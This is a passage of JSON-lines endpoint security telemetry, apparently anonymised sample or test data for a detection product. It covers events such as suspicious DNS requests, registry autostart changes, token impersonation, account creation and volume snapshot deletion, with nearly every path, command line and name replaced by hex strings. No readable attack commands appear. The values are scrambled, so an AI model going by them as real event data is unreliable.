\r\n","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"} +{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"} +{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} +{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"} +{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"} +{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"} +{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"} 